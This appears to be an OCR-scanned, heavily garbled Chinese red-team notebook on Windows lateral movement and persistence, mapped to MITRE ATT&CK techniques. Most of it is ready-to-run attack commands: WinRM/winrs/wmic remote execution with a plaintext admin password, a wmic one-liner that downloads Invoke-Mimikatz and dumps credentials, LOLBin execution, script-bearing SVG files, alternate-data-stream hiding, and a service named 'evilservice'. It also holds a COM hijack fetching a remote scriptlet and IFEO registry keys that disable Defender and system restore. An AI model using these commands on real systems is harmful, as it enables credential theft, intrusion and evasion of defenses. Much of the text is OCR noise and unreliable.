w:ResourceURI ><a:Toohttp: //mindows -host : 5985 /wsmanc/a:Tod<p:Datalocale
mustUnderstand="false®™ xal:lang="en-US">¢/p:Datalocalerc/
env:Header»<env:Body><rsp:ComandLine><rsp: Arguments>/all ¢/

rsp:Arguments > <rsp i Command >JISSRRES < /rsp : Cammand> ¢ /rsp: CamandLine » ¢/
env:Body></env:EnveloperHTTP/1.1 208

Content-Type: application/socap+aml;charset<UTF-8

Server: Microsoft-HTTPAPL /2.0

Date: Fri, 22 Mar 2019 @9:29:21 GMT

Content-Length: 847

«s:Envelope xml:lang="zh-CN" smlns:s="http://weas.w3.org/2083/65 /scap-envelope”
ymlns :a="http://schemas . xmlscap.org/ws /2004 /88 /addressing” smlns :x="http://
schemas . xmlscap.org/uws /2664 /80 /trans fer™ mlns :w="http://schemas .datf.org/wben/
wsman/L/wsman.xsd” xmlns :rsp="http://schemas .microsoft.com/whem/wsman/1/

windows /shell” mlns:p="http://schemas.microsoft.com/wbem/wsman/1/

wsman ., xsd™ ><s :Header><a: Actlondhttp: //schemas .microsoft . com/wbem fwsman/1/

windows /shell /ComandResponsed/a: Actionyca:MessagelDoruuld: BE37682A-
B9CC-4MIF-931A-GEBF2OFE L7AG < /a: MessagelDr<a: Torhttp: //schemas . amlsoap. org/ws /
2004 /08 /sddressing/role/anonymous ¢ /a:Tor<a:RelatesToruuld: f215df8a-8a2a-42d8-

F 840 A8 ) BAN S ¢ iy

[BARE (19 b8) vl RFORFRENY 1T |
Wi _'iuufi: | BEF=10)

(BR[| N0 | [Swew || B8 || Qe || wml

1BE BRAHET winRM —E£RFERIHRF M &5%.winRM BiERTF win7 Z2f5

FRASHI R ST 228 03r2 5 (BT A ERX AT BAXTFERGNEEFAA

RIEE Z 15 win7 SN EBIRAR winRM IRESZNAT 2 B BEIIRSIR AT 2R

[9,5985 Ui O EAIA L Z 3 I FF RS ] EDRER, /T 2008r2 FIERIAECE T, winrm
BREHEER AT ERERTNRERNMHMEIR,7E 2008r2 L TFHASH, 2
INEERS T HRNEBZEEREREEN, SR BT HRELEEERRERTSE%
BERNEEF]FEE G A MEX)L, RABTE win 2012 ZfGHIARASZ BRIAR

BEAFLERERENRERE, BE MEHEBmER MEERFTIT tcp 5985



5%, 5986 i [#%E 5, R HEH B R E X 5 E 0 BB EE A SR IZ I EAS, AT A
%ﬁﬁﬁﬁhﬂ'ﬁﬁﬂEﬁﬁﬁ’\JEW,@, B GNKS KA L, B2, — & MiEM
&, XMiEE A EE RERT win2012 ZEMNERS L EXE B BN ZETE
EMEAZEIRPE T WREHNEE WinRM winrm service FIEMECE, HITZ
[EIRRIEIRIBHRIEDR y:  winrm quickconfig & winrm service listener (4

79 http # https) : winrm e winrm/config/listener
7 winrm service EC& auth: winrm set winrm/config/service/auth @{Basic="true"}

29 winrm service EEEMNZ A XA RFIEINZE:  winrm set winrm/config/service
@{AllowUnencrypted="true"}

BE winrm IRBEIECE:  winrm get winrm/config
BREEWNT: sTdF, AREERE, NZEFE winrm

winrm enumerate winrm/config/listener

winrm quickconfig

H||n inistratorduwinrm gquickcont iy

S}

1B W LocalficcountTokenFilterPolic y LA 3 (8] A1

E2 & winrm auth winrm set winrm/config/service/auth “@{Basic="true”}”



iNlUsers \Adninistratordvwinm zet winrn“conf ig/servicesauth
- |

uth
Bas i« L rue
Kerberos true
Negot iate true
Certif icate fFalzse
CredSSP falzse

ChtHi eninglLeve ] Re laxed

& & windows B9 winrm service listener

iNllsers \Adninistratordwvinerm ¢ winrasconf igs/listener
slstener

hddress

Iransport HITP

Port 5985

Hostname

Enabled true

URLProf ix Wi nan

CertificateThunhprint

LizteningOn 10.1898.18.21, 127.80.8.1, 169.2 . ». 27, i1, feBB::S5efe:10.18
3.18.21%13., FeBB::5e0fez169.254. 18577228, FfeBB::34bb:6VeciI5B8F :Sankld, feBP::8d
28 :55B86:fa67:h94dx 24

Bc & winrm service M AN A LIFIEINES Winrm set winrm/config/service

“@{AllowUnencrypted="true”}”
BHFIE: BEN:

import winrm

Win2012 = winrm.Session(10.100.18.21°, auth=(‘administrator’, ‘3edc7UJM’))
R = Win2012.run_cmd(‘ipconfig’, [‘/all’])

Print R.std_out



* = s.run_cnd(’ ipconfig’,

print rF.std_out

Jindows I[P Configuration

Hozt MName
Pris
Node
IF R
WINE Proxy Enabled.

thernet adapter Ethernetl:

ction-specific DNS Suff ix
Description

Phy Addres

DHCF Enabled.

Autoc

ical

if iguration Enabled

seal s s

of igurat ion 1Pv4 Address.
met Mask

Default Gateway

DHCPef IRID .

DHCPv6 Client DUID

Link IPvé Rddre

Autod

DNS

NetBIOS over Tcpip

Ethernet adapter Ethernet#:

Cannection-specific DNE Suffix
Descript fion

Physical
DHCFP Enabled. s s o o
Autoconf igurat ion Enabled
Link-local [Pvé Addres
IPvd Addre
Mask
Default G
DHCP IAlD . . . .
DHCPvh Dip.

Addre

Subnet

eway

Client

ARAE BT winrs

WIN-R3035%

Hyk

Intel{R>
-8

182656297
29 81 88

fecB:
fecB:B:08:f
T HH
Enabled

IntelCR
29 580 -56 8A - 7F
Mo
Yoz
feBB: :34b6 670
18.188.1

189.108.19
1928108454
091 -88-91-24

JUEF3N

82574L

:h94dx2
Preferred)

14-80-58-56 -8A-75-7D

2D

:IS8F =7 12¢{Preferred)

(Prefer

1D-2F-34-09-50-56-8A

PS C:\Users\Administrator> winrs —r:10.100.18.21 —u:administrator —p:3edc7UJM "q

uery user"

Administrator?

winers

rIiB 188 18

twtadninistrator

pidedeMJIN
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PS C:\Users\Administrator> winrs —r:10.100.18.21 —u:administrator —p:3edc7UJM "c

md"



167 4,185 .77

! 1B 18w 18 .21

: FeBP:: 4906 6700z 158F : ' Saenl 2
: 181981821
i 0w Lo

IR 188 1. 254

SIG1AD-ABRCY 46 EE -ACE4A-DAZRACH44784

31.wmic

®E: HEHL: Windows 2012 R2  (10.100.18.22) #IEHL: Windows 2012
R2 (10.100.18.21) EHFiA:

wmic /user:"administrator" /PASSWORD:"3edc7UJM" /NODE:10.100.18.21 PROCES
S CALL CREATE "PowerShell —exec bypass IEX (New-Object Net.WebClient).Downl
oadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/E
xfiltration/Invoke—Mimikatz.ps1'); Invoke—Mimikatz | Out—File C:\\Users\\Administra
tor\\Desktop\\wmic.txt"
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33.INF-SCT

W, 108, 08,01
10, 16e, 18,22

9. 000, 18, 21

8. 008, 18,2
59,108, 10.21
i, 089, 10,7
ih. 188, 18. 21
8. 000 18,22

iS00, 1.1

prall e
IGCRezol ver

N - - 3l L ¥ r 'y Jd
6 57058 + 16 [SVN, FCN, OMR] Seq=d b
66 135 « 52019 [STN, ACK, ECN] Seq=@ ¢

L70 8ind: call ta: 4, Fr 6 Sngle s

LS Bird mck: call 1d: &, Frogeest: S1r
7t Serverdlivel reguest DONIResolver
M7 Serverdllve] resporas

66 S2OLL « 135 [SYN, EON, OMR] Seq-@ b
84 1M = $2011 [SrN, Ak, BCN] Sege® §

A Bhnd: call_Lds 5, Frageest: Singls,

rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,Defaultinstall_SingleUser,1,

nor il 1




MK 5EE https://twitter.com/bohops/status/967486047839014913

https://gist.githubusercontent.com/bohops/693dd4d5dbfb500f1c3ace02622
d5d34/raw/902ed953a9188b27e91c199b465cddf855¢c7b94f/test.inf

https://github.com/homjxiOe/AppLockerBPG

34.Reflection.Assembly
PS C:\Users\demon> $RAS=Join—-Path —Path c:\windows\system32\ —ChildPath

calc.exe

PS C:\Users\demon> [Reflection.Assembly]::LoadWithPartialName('Microsoft.Visu
alBasic');[Microsoft.VisualBasic.Interaction]::Shell("$RAS","0");

) [Microsoft. VisualBasic. Interactic

MSIL‘\Microsoft. Vi siciw4.0_10.0.0.0_ bO3ESET£11d50a. ..

35.msconfig
<?xml version="1.0" 7>

<MSCONFIGTOOLS>
<a NAME="LOLBIn" PATH="%windir% \system32\WindowsPowerShell\v1.0\powers

hell.exe"



DEFAULT_OPT="-command calc.exe "
HELP="LOLBin MSCONFIGTOOLS"/>
</MSCONFIGTOOLS>

R RIS AR D).
it] SPEATRE,
LOLBin MSCONFIGTOOLS

<?xml version="1.0" 2>
<MSCONFIGTOOLS > 2
<a NAME="LOLBin" PATH="%windir%

DEFAULT_OPT="-command calc.exe " §
HELP="LOLBin MSCONFIGTOOLS"/>
</MSCONFIGTOOLS >

1. WA B mscfgtic.xml FE#KZHR C:\Windows\System32
2. BshCMD :

msconfig -5

1. 3%EF/LOLBin —#= RiEn) fl&k FH
https://twitter.com/pabraeken/status/991314564896690177

36.sigverif.exe

http://www.hexacorn.com/blog/2018/04/27/i—shot-the-sigverif-exe—the—
gui-based-lolbin/



EJ Advanced File Signature Verification Se... 7 X

[ Save the file signature verification results to a log file
Logging options
(O Append to existing log file.
(® Overwrite existing log file
Log file name:
|c.\wndows\sy§em32\cdc.exe } | Viewlog |

0K Cancel

37.DXCap.exe
DXCap.exe —c¢ C:\Windows\System32\notepad.exe

https://twitter.com/harrOey/status/992008180904419328



procexp6...

L Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-5JVKB9VyDemon]

File Options View Process Find Users Help
= IEIR= = SN RN V| i |

CFU Frivate B. Working Sst  PID De

ption
4500 Microsoft 4%
7032 Microsoft Win

8032 winde

e, exe
axe
exe

7 fontdrvhost. sxe

K
K
E
K
K
E
K
K
E
K
K
E
E
K
K
E
K
K
E
K
K
E
K
K
E
K
K
E

T T T T T T T R T R B R R R R R ]

i dem. exe 0. 06 243
5 -, EXDIGEETTERE 0 4552 Windows EEE
Ea)(s.asmﬂ. sxs 7928 Windows Defen
exe
mhost. exe
4056 iZEE
102 4488 Sysinternals |

(Jyprocexpbd exe

CPU Usage: 3.77%  Commit Charge: 27.00% Processes: 121 Physical Usage: 35.07%

38.Register-cimprovider.exe (T1218 )
Register—cimprovider —path "C:\folder\evil.dll"

https://github.com/apiOcradle/LOLBAS/blob/master/OSBinaries/Register—

cimprovider.md

pwnd

Injected



https://attack.mitre.org/wiki/Technique/T1218

39. xIs mimikatz

https://gist.github.com/caseysmithrc/b1190e023cd29¢1910c01a164675a22¢e

40.WMI (T1047)

wmic process call create “calc.exe”wmic process where name="calc.exe” call

terminate

f _ PARARETERS

n¥alue = 0
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E¥ CA\Windows)\System32\WindowsPowerShell\w1.0\pa

S TR EERFR BT

st i
s B =2

IR T ERESE R
* UEHEEsSweR BT

¢ BENT Windows 25

0 rRreEssEFuEnREER
T,

https://www.andreafortuna.org/dfir/windows—command-line-cheatsheet-

part—2-wmic/

4. FZIEEHER LOLBIN WIS AT i

https://gtfobins.github.io/
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https://lolbas—project.github.io/

=. Persistence

BFANEREETERP RAAENER, EXNEEUL A G E AR RAYE
IVRFFXS RERITHEIB RV . BT AR BIEEMTAE. RIFENE
B, ERLEEERBERZ LAENIR, flERSHGSEESRINEHEE,

1.0ffice -SVG (T1137)

1.3EFR_EFANTAREE Internet Explorer SEH4T ActiveX

2 A 181ER Microsoft Office 5 Microsoft Office —#2{F 3 1522 Microsoft
Office @12 SVG Document 14T ActiveX

3FEL A E(UERTF Web 1'% 28 Microsoft Office i SVG Document.


https://attack.mitre.org/tactics/TA0003/
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P TX
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FLERFAAELSNE, SHEASET.

. Bil==3E

bk}
J_.|_||.:|
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<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlins="http://www.w3.0rg/2000/svg"
xmins:xlink="http://www.w3.0rg/1999/xlink" width="600" height="600">

<script language="JScript">

<I[CDATA[

<l—— Author Matt harrOey @harrOey
<l—— Topic: Device Guard Bypassing
<l—— WScript inside SVG


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1536493682651.jpg

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

11>
</script>
<rect id="square" width="0" height="0" fill="#ffO000"
x="10" y="10" />

</svg>

B g . S et Standard

PBRAZS - https://www.ggsec.cn/SVG-ActiveX.html

SEZRHF . https://homjxi0e.wordpress.com/2018/08/26/svg—document—

activex—alongside—microsoft—-word-execution/

https://gist.githubusercontent.com/homjxiOe/4a38b2402e77a536a4deb1792
8f9a8b0/raw/332b3fa640bb2fff6c59b38a28eaeal39b9ec5df6/x000x02.svg



2.1 ADS ¥{3E % (T1137)

echo "empty file" > c:\ADS\file.txt
makecab c:\ADS\procexp.exe c:\ADS\procexp.cab
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

wmic process call create '"c:\ADS\file.txt:procexp.exe"

& - 1 » LEFEER - FEHEERS (C) > ADS v O EEADS P T
# - = " ; | ==l

s
m=E . [E files
¥ T
B s

=l s a

fot
il
-]

T

Options  View Process Find Users Help
B =EER| @ a8 [ k@

P Private B... | Working Set FID

“Wfile. txtipro

1.29 n/a Hardwa
288

1592

482

628

740 Windows
816 Windows B

[4|RuntimeBroker. axe
[25| RuntimeBroker. exe

B ChsIME. oxe
E:{l:hcst exe
Ek\m‘bi-eﬂroker. exe
[az]ApplicationFrams. ..
g Sus. ..
[a|RuntimeBroker. axe
7 dllhost. exs
E}ﬂyitaﬂattinssﬂr...
& Sus. ..
5% Runt1meBroker. exe
&= i
[a|RuntimeBroker axe 0.02
W | dllhost. exe

7 Ch=IME. exe
# ShellExperienceH .. |Sus. ..
BT ax 0o

echo "empty file" > c:\ADS\file.txt

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.
exe

wmic process call create '"c:\ADS\file.txt:procexp.exe"

echo "empty file" > c:\ADS\file.txt

type c:\windows\system32\cmd.exe > c:\ADS\file.txt:cmd.exe

sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\AD


https://demonsec666.oss-cn-qingdao.aliyuncs.com/86746AC5B99E0AF97FED1A7D5C35B43E.jpg

S\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice

[ JoN X Windows 10 E L @Q@@QF @LEE « &

|~
B C:\Windows\system32\cmd.exe
£ Il

e

fender
T
FTFF Window: !

=

nder 22y,

@ O o e 4524 Vindows BEERH Microseft Corparation
MEASCUIL. exe 8880 Tindows Defender moti . Microsoft Corporation
=] SogouCloud exe 588 BAMAS S ERE Sogou. com Inc
=) o emd =xe 2156 Windows 4 EEFT Microsoft Corperation
= F g conhost. exe H Microseft Corporation
€812 MAHERAE IR Sogou. com Inc:

(3 86 Tool. ex
) seTesl. 2xe

¥
CPU Usage: 3.85%  Commit Charge: 24.73% Py 2122 5 L]
sage. !oggt arge: rocesses: |nur5mﬂm§% B
ERE Win E=avar|
NTUSER.DAT 1,
2 procexp.exe FREVE > Windows Defender Eé‘:?a;
\E
i8 /‘s[’ﬁ\E
R EIEATIAL 12:36:52 : 20185245130 Bitakga?
_EREEEREL 2018548138 19:37 B
FREVEEED b

~ T1di) ENG

print /d:c:\Users\demon\1.txt:procexp.exe c:\Users\demon\procexp.exe

wmic process call create '"C:\Users\demon\1.txt:procexp.exe"'
https://www.youtube.com/watch?v=nPBcSP8M7KE&feature=youtu.be

Link: https://oddvar.moe/2018/04/11/putting—data—-in-alternate—data-

streams-and-how-to-execute—-it-part-2/
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2.2 ADS ¥{3E % (T1137)

TeamViewer13
C :\>type :\temp\helloworld.hta >"C :\Program Files (x86)\TeamViewer\TeamViewe

r13_Lodgfile.log:helloworld.hta"
C :\>mshta"c :\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:hellowo
rld.hta"

C:\>type C:\temp\helloworld.hta > "c:\ (x86) \TeamViewer\TeamViewerl3_Logfile.log:helloworld.hta"

C:\>mshta “"c:\Program Files (x86)\TeamViewer\TeamVie ogfile.log:helloworld.hta"

BE

B c\Program Files (x86)\TeamViewer\ TeamViewer13_Logfile.log:helloworld hta

M- M5

:\temp>type " - oxb4 . 3 al ile e iew amViewer13 Logfile.log:ADSDLL.d11"

\temp>rundl1132 \ i Y\TeamViewer\TeamViewerl3_Logfile.log:ADSDLL.d11",D11Main

D\temp>g

Mot High Integrity
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PHP
RETE AIHAT

el

C:\Users'demon>C: \phpfind'phpa'php. e Covphpfind WV phpinfo. php

Hello World!

Ll
I

=
=

[HEERE » EHEREESE (C) » phpfind > WWW

o
o = =] B8R
v oy fr:&—'_"':.

W |l.php 14/2/28 ¢

MIBR S 14
MIBR X H—-FEEIRRAIN, FHAIIETT

e find' dme. txt:hello.p

< |

Event 8004, AppLo %
General Dessils
~

SZOSDRIVE %\ TEST\REFLEC TIVE_DLLS\NOTEPAD_REFLECTIVE K64 DLL was prevented from running.
Log Hame: Microsoft-Windows-AppLocker/EXE and DLL
"l 9 7 Untitled - Notepsd - o x

8 e Edt Fomamt View Help

AAD
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pEESER: https://oddvar.moe/2018/01/14/putting—data—in—alternate—data—

streams—-and-how-to—execute—it/

https://twitter.com/bohops/status/954466315913310209

3.RunOnceEx (T1137)

{&F8 RunOnceEx #1TIEX Y, — faf B Autoruns.exe

1TRIM—FEARKNIT DLL X4, MASHEERIIH autoruns.exe 1ilIE, FE
EEAMNPR, FET userland,

BTN

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\
Depend /v 1 /d "C:\Users\demon\mbox.dll"

unnceEx 0001 \Depend /v 1 /d

2.mbox.dIl FE TXRERNER, HEMAIIGITX T L KAMEHIT

runonce /Explorer

BEE(link): https://oddvar.moe/2018/03/21/persistence—-using—runonceex—
hidden—from-autoruns—-exe/ https://support.microsoft.com/en-

us/help/310593/description—of-the-runonceex-registry—key

ARSI ©  https://www.ggsec.cn/RunOnceEx.html
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4.winlogon_regedit (T1137 ) (T1004)

Microsoft AT S&ER (COM) £ Windows REN— 1N RS, BT @Ti&IERSTSZIMER
R Z BN E,
1REEFAIUERRXMRGENEENE, BiI#F COM 5| BRIX ZRABEENRE
RHATHRAM .

5 COM SHRFETE Windows JEMRAPHITERN, UGS BBERAN RS IZEAHE
WATRI AT

MEERREH. YEREFBTEENARRIERTEN, RESNRIBIEEMNT. 2 X
HERPIAEH

FEBMBERNN RRRF—HFAMKTE, BRAIEERANBIRATNINEE, U
B I BES R

NN REAIRE.

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDC}]

@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDCH\InprocServer32]

@="C:\\WINDOWS\\system32\\scrobj.dll"



"ThreadingModel"="Apartment"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDC}\ProgID]

@="AtomicRedTeam.1.00"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDCH\ScriptletURL]
@="https://raw.githubusercontent.com/redcanaryco/atomic-red—-team/master/Win
dows/Payloads/COMHijackScripts/AtomicRedTeam.sct"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-000
0-0000FEEDACDC}\VersionindependentProgID]

@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD
7-FBEEA2180A1E}]
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD
7-FBEEA2180A1EN TreatAs]

@="{00000001-0000-0000-0000-0000FEEDACDC}"

T 0 BT
Casey Smith @subTee : 17/\E]
@ Found some really fun winlogon COM Hijacks today.
Sample here:
gist.github.com/anonymous/3929...
How to find? Options | Enable BootLogging with ProcMon, Filter on:
Result Contains NAME NOT FOUND
Path Contains HKCU
Easy Peasy.
=

There are Dozens of these...Dozens...
attack mitre.org/wiki/Technigue...

https://twitter.com/subTee/status/962767403464577024
https://attack.mitre.org/wiki/Technique/T1122
https://gist.github.com/anonymous/3929d9df4035abec725bcdc36659fce5

FMEEVSHINS © https://www.ggsec.cn/winlogon-regedit.html
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5.ImageFileExecution Optionscmd(T1183)

BER—regX ¥, EEHMLHEMcmd exeiEfT

AppData » Local » Temp »

Irary - Share with = Mew Tolders
Mame Date r-1u|.|-|1|r|.|

H] ACICKoGHIB S 1401235567125 reg L/ 2018 2:18 PM
|| 0443981001 261660076094 282915145320,  1/5/2018 218 PM
|| _0.776750660928520117223561051690950...  1/5/2018 2:18 P

regX{FE—HEMER, EXERNBRMIE
HKEY LOCAL_ MACHINE '\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion | Image File
Execution Options \

HE, “SRFTER AR E EWindows P S s Bl BN RT R R £ NER. FilE
(REbARE— TR, IERERERMT T (Fli0ProcessHackerexe) , MEER
il 82 R L AR

ERMERT, WHHERERET svchost.exe' Ti T 2ProcessHacker.exe, FTLIEMEBREASTA
f 81T iEfTProcess Hackerfd, svchost#fiSBEE). EESM4DTF S HERITIIHASE, mAMEE
Process Hacker, BUtLIEFAEEBehHFR SR, wireshark®, BRIEGHIES = 3Tt R sk R 1
#2{H.
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wmEfBH, HtENTER, B JE) svchost.exe

THEHEZMERAEN BT R RN

Windows i it T iEE 2R 45.00

[HKEY LOCAL _MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows NT \ SystemRestorg]
“DisableCenfig"= dword: 00000001

“DisableSR"= dword: 00000001

[HKEY LOCAL MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion % Image File
Execution Options \ ProcessHacker.exe|
“debugger'="svchost.exe"

[HKEY LOCAL_MACHIME \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File
Execution Options \ procexp.exe]
“debugger'="svchost .exe”

[HKEY LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion | Image File
Execution Options \ MSASCui.exe]
"debugger'="svchost.exe"

[HKEY LOCAL MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion % Image File
Execution Options \ MsMpEng.exe]
“debugger'="svchost.exe"

[HKEY LOCAL MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion % Image File
Execution Options |\ MpUXSrv.exe |
“debugger'="svchost.exe"

[HKEY LOCAL_MACHIME \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File
Execution Options \ MpCmdRun.exe|
“debugger'="svchost.exe"

[HKEY LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion | Image File
Execution Options \ NisSrv.exe|
“debugger'="svchost.exe"

AW 1O AL KAAMLIIKIE § DPETIATADIE | K laeane B A msem KT D Mrrmmdl famninm 1 s mea Fila

SZEEHR . https://neonprimetime.blogspot.com/2018/01/java—adwind-rat—
uses—-image—
file.ntml?utmcampaign=crowdfire&utmcontent=crowdfire&utmmedium=social
&utmsource=twitter%232362224631-tw%231515608604431

MSRAZE . https://www.ggsec.cn/Image-File—Execution-Options—cmd.html
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6.CHNIEMEBIIT mimikatz 2 dll #3% (T1038)

using System;
using System.EnterpriseServices;

using System.Runtime.InteropServices;

public sealed class MyAppDomainManager : AppDomainManager

{

public override void InitializeNewDomain(AppDomainSetup appDomaininfo)
{
System.Windows.Forms.MessageBox.Show("AppDomain — KaBoom!");
// You have more control here than | am demonstrating. For example,
you can set ApplicationBase,
// Or you can Override the Assembly Resolver, etc...

return;

/ *

C:\Windows \Microsoft. NET\Framework\v4.0.30319\csc.exe /target:library /out:tas
ks.dll tasks.cs

set APPDOMAIN_MANAGER_ASM-=tasks, Version=0.0.0.0, Culture=neutral, PublicKe
yToken=null

set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager

set COMPLUS_Version=v4.0.30319

copy tasks.dll C:\Windows \System32\ Tasks \tasks.dll

copy tasks.dll C:\Windows|SysWow64\ Tasks | tasks.dll



AppDomain - KaBoom!

g0, E17

K 20 K 4220 Shell Infrastructure ... Microsoft Corporation
0. 01 E 36 E 4572 Windows REEEE osoft Corporation
[iE] taskhostw. exe 0.02 K E 6096 Windows EFFIEHERE  Microsoft Corporation
= explorer. exe 0.14 K E| 6456 Tindows HFEFESFE Microsoft Corporation
a; SecurityHealthSystray. .. K K 2116 Windows Security noti... Microsoft Corporation
=d. exe K K 3480 Windows fr4-ihEREF Microsoft Corporation
[ conhost. exe 0.01 E K 3976 EMEHOEEE Microsoft Corporation
¢ FileHistory exe 4 E 3052 IHHEIEF Microsoft Corporation
|notepad. exe 0.04 K K 4844 oEE Microsoft Corporation
procexpbd. exe 1.42 K E  2B24 Sysinternals Process ... Sysinternals — www. ..
5 Taskmsr. exe 0. 56 LK K [3288
[3=]svchost. exe E K 4888 Windows BEREFEE Microsoft Corporation
[3°|8tartMenuExperisnceHost. sxal E k[ 6536
[§|Runt imeBroker. sxe I3 k| 2416 Runtime Broker Microsoft Corporation
5 - . 2
= H lor oxa h's & D729
Name Company Name
locele.nls
SortDefault. nls ng'SertDefault. nls
Stati he. dat

NET'Frameworkfd'wd. 0. 3031..

oree. d11

T\ Framesnrlfdivd 0 2031

tps://gist.github.com/caseysmithrc/4bb34d28fa9d4071596cf2417fee5e37CH#
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AEIISAIT mimikatz 2 dil 55

Mi X 4.0

tps://twitter.com/subTee/status/1157521629695508480
https://gist.github.com/caseysmithrc/3a4db14d571€902dc8c2e00fdbb9907f

https://gist.github.com/demonsec666/644c6905cabe405364efe2ceca’29e3
Oc


https://demonsec666.oss-cn-qingdao.aliyuncs.com/151564810161_.pic_hd.jpg

7.Run-key-hexacorn £ A1 1

& 155 livo SEIMPWE () =
File Edit Wiew Buil Run Tools Help

e waE s a2
[Setup]
AppName=test
1 AppVersion=1
4 ||« Users » demon » AppData » DefaultDirName=.
o DefaultGroupName=test
(O & [Run]
. ™ i B 8 Filename: "c:\windows\system32\calc.exe"
13 4 A m=E * 5% WinRAR ss7#EEf [UninstallRun]
y - 3“,7“““ B Filename: "c:\windows\system32\notepad. Exe'l
| L] ' & Downloads i IS RAR SR
r
'Q‘ : Documents B Srmamey
:'. . | demon »*
o =88R -
% Ji Music
- ~
j MEA R F
. - ‘ﬁ ¢& OneDrive
Qutput
HE =F
| » Qutput
-~
EFR LrdsE]
g 5 mysetup.exe 2019/8/4 15:21
s
s A <
»* File: C:\Program Files (x86)Inno Setup 6\Default.isl
Messages in script file
* Reading [Code] section
Parsing [Run] section, line 7
Parsing [UninstallRun] section, line 9
Creating setup files
Compressing Setup program executable
Updating version info
**% Finished. [15:20:52, 00:00.937 elapsed]
Compiler Qutput Debug Output
9: 45 Insert

£


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1564903275946.jpg

40~ ==
s = x
I Eanl H=E = HEEFIE
Select Destination Location
T > Output Where should test be installed?
=
8 EHEE

RS - . i

| " 75 mysetup.exe 201 9."34 Setup will install test into the following folder.

- Downloads » To continue, dick Next. If you would like to select a different folder, dlick Browse.
Documents o [cswsersigemonpesktopioutpur Browse...
demaon *

F » Folder Exists
Music
| videos o The folder
OneDrive C:\Users\demon DesktophQutput
Atleast 2.5 MB of free disk space is requil

LHFERE already exists. Would you like to install to that folder anyway?

P

(T

B rhEsss

XEHF REE EBV) bR SEH)

FHESHINHKEY_LOCAL_MACHINE\SOFTY archiver

- | {D7609B51-0FF2-40C8-81B6-FF525B161 ~ || =m wm =
{DBB26CBD-15D2-4408-BCBD-561607: || ] ez REG SZ mEEs
{FCA0DBED-520A-40E0-BEAE-22CF343A || at pisplayicon REG SZ C:\Program Files\WinRAR\WinRAR exe
(FEGEOE4B-6775-4363-8053-018270308 || iy io Name  REG SZ WinRAR 5.21 (64 i)
ddleesspook 38| DisplayVersion REG_SZ 5210
CADAEQ?S—BSD}MZBAFC}‘!SBZEEFS ab)installLocation  REG_SZ Ci\Program Files\WinRARY\
Connection Manager

REG_DWORD 0x00000000 (0)
DirectDrawkx =
DXM_Runtime # : REG_DWORD 0x00000001 (1)
S ] NoRepair REG_DWORD 0x00000001 (1)
. b]publisher REG_SZ win.rar GmbH

uorongSysdiag

1E40 ab]UninstallString  REG_SZ C:\Program Files\WinRAR\uninstall.exe
|E4Data REG_DWORD 0x00000005 (5)
IESBAKEX #|VersionMinor  REG_DWORD 0x00000015 (21)
IEData
MobileOptionPack
MPlayer2

ProPlusRetail - zh-cn
SchedulingAgent
wic
WinRAR archiver
URL
UserPictureChange
UserState
‘VFUProvider
‘WaaSAssessment
WebCheck
‘WinBio
Windows Block Level Backup
Windows To Go
WindowsAnytimeUpgrade
WindowsBackup
Windowstindate



https://demonsec666.oss-cn-qingdao.aliyuncs.com/1564903304779.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/1564903394525.jpg

SENV  WEEER)  EH)

L MACHINE\SOFTWARE\Microsofti\Windows\CurrentVersion\Uninstal\WinRAR archiver

DXM_Runtime ~ | 2% HR e
Fontcare aB] (&) REG_SZ FEFRES)
HuorongSysdiag 38| Displaylcon REG_SZ C:\Program Files\WinRAR\WInRAR. exe
<D ab|DisplayName ~ REG_SZ WinRAR 5.21 (64 &)
14Dt 3B DisplayVersion  REG_SZ 5.21.0
:ESDBAKEX ab]installLocation  REG_SZ C:\Program Files\WinRARY,
ae #4Language REG_DWORD 0x00000000 (0)
MobileOptionPack :
i 5% NoModify REG_DWORD 0x00000001 (1)
T % NoRepair REG_DWORD 0x00000001 (1)
